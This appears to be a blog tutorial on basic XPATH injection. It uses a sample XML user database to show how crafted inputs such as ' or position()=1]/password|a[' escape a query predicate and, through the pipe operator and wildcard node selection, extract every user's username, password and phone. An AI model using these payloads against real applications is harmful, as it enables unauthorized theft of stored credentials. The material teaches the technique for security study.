Basics XPATH Injection

Post Image
Starting on the name of My god "Allah" the most beneficent the most merciful

In this tutorial we will discuss the basic of XPATH injection and learn the basics of injecting into XPATH queries. XPATH queries are too much like SQL queries also. And the rules of injecting into XPATH are also same to SQL queries. You have to take care of the closing the input with single or double quote and then commenting if required. For more understanding i will be using a XML file to explain all the examples in this tutorial, you can also use Leettime to practice

<userdb>
	<user>
		<name first="Jeff" last="Smiley"/>
		<id>1</id>
		<username>Jefferson</username>
		<password>Jutobi</password>
		<phone>123-456-7890</phone>
	</user>
	<user>
		<name first="Chunk" last="MacRunfast"/>
		<id>2</id>
		<username>Alexandra</username>
		<password>securityidiots</password>
		<phone>603-478-4115</phone>
	</user>
	<user>
		<name first="Zenodermus" last="Javanicus"/>
		<id>3</id>
		<username>Zen</username>
		<password>@lltogether</password>
		<phone>222-222-2222</phone>
	</user>
</userdb>

As I know most of the readers who are reading here must be having some basic information of SQL queries, so rather than starting from XPATH i ll show you how can you simply relate or convert a SQL query into XPATH query. Below is a basic SQL query where we are extracting the username from a table users under database userdb using the condition on id.

select username from userdb.user where id=1

Now lets convert the above query into a XPATH query and see the difference.

/userdb/user[id='1']/username
The above query will extract the username of the user whose id is 1 which is "Jefferson" in the XML File

As you can see in the above query we first specified the path and then the condition and then what we want to extract, yeah its as simple as that. Now i hope you can understand the basic XPATH query. So now lets inject the above query to enumerate the usernames of each user one by one assuming the we do not know the user id for each user and we want to check the usernames of all the users then we can use the position() function. Here is an example of position function.

/userdb/user[position()=1]/username
Will extract the first username which is "Jefferson"

/userdb/user[position()=2]/username
Will extract the first username which is "Alaxandra"

/userdb/user[position()=3]/username
Will extract the first username which is "Zen"

Now lets take the query which we used before and inject it using the position function.

/userdb/user[id='ourinputhere']/username
Lets say our input it ' or position()=1 or ' the the query will become
/userdb/user[id='' or position()=1 or '']/username
Will extract the first username which is "Jefferson"

which means the condition says either id should be empty or get the first user's username, and we will get the first username. But this injection do not allow us to enumerate other details such as the other columns in SQL or in XPATH we can say the other siblings. So how to get the other siblings because that '/username' in the end of query makes our query to extract only the usernames.

Here we a bypass for that which is the pipe character, also known as union select operater for XPATH. A pipe operater can be used to concatenate two different statements, So what will do is using Pipe we will separate the /username part into the next statement and no matter any output come of not from the second statement, still XPATH will give us the output from the first statement. This means what we need to concentrate on is to only keep our first statement valid. So we can make our query something like this.

/userdb/user[id='ourinputhere']/username
Lets say our input it ' or position()=1]/New_Element_name|a[' the the query will become
/userdb/user[id='' or position()=1]/New_Element_name|a['']/username

Now for example we want to extract the password of a user using the above injection then we just have to put the name of password column on place of element which will give us the below results:

/userdb/user[id='ourinputhere']/username
Lets say our input it ' or position()=1]/password|a[' the the query will become
/userdb/user[id='' or position()=1]/password|a['']/username
Will extract the first user's password which is "Jutobi"

It will successfully give us the passwords but right now we simply assumed that the password column name is password, which was just an assumption. But what if the column name for passwords is like 'my_pass' then we wont be able to extract it. Here we can use an another trick, if you read the Selecting Unknown Nodes carefully then you may know what we can do. We can use * to select an unknown Node or Element, and we have to specify which element we want. Just see the below example carefully:

/userdb/user[id='ourinputhere']/username
Lets say our input it ' or position()=1]/*[1]|a[' the the query will become
/userdb/user[id='' or position()=1]/*[1]|a['']/username
It wont Extract anything as the elements are Attributes not Element values
/userdb/user[id='' or position()=1]/*[2]|a['']/username
It will get the Second element for first user which is '1'.
/userdb/user[id='' or position()=1]/*[3]|a['']/username
It will get the third element for first user which is "Jefferson".
/userdb/user[id='' or position()=1]/*[4]|a['']/username
It will get the forth element for first user which is "Jutobi".
/userdb/user[id='' or position()=1]/*[5]|a['']/username
It will get the fifth element for first user which is "123-456-7890".

The red part in query is our injection. In this manner we can enumerate all the siblings for the first element now lets change the position() to enumerate all the values of the second user.

/userdb/user[id='ourinputhere']/username
Lets say our input it ' or position()=2]/*[1]|a[' the the query will become
/userdb/user[id='' or position()=2]/*[1]|a['']/username
It wont Extract anything as the elements are Attributes not Element values
/userdb/user[id='' or position()=2]/*[2]|a['']/username
It will get the Second element for first user which is '2'.
/userdb/user[id='' or position()=2]/*[3]|a['']/username
It will get the third element for first user which is "Alexandra".
/userdb/user[id='' or position()=2]/*[4]|a['']/username
It will get the forth element for first user which is "securityidiots".
/userdb/user[id='' or position()=2]/*[5]|a['']/username
It will get the fifth element for first user which is "603-478-4115".

In the same manner we can extract the details for the third user also. I hope you enjoyed reading. Leave your valueable comments and feedback please.

Happy hacking
Newer post

DIOS (Dump in One Shot) Explained Part 2

DIOS (Dump in One Shot) Explained Part 2
DIOS (Dump in One Shot) Explained
Older post

DIOS (Dump in One Shot) Explained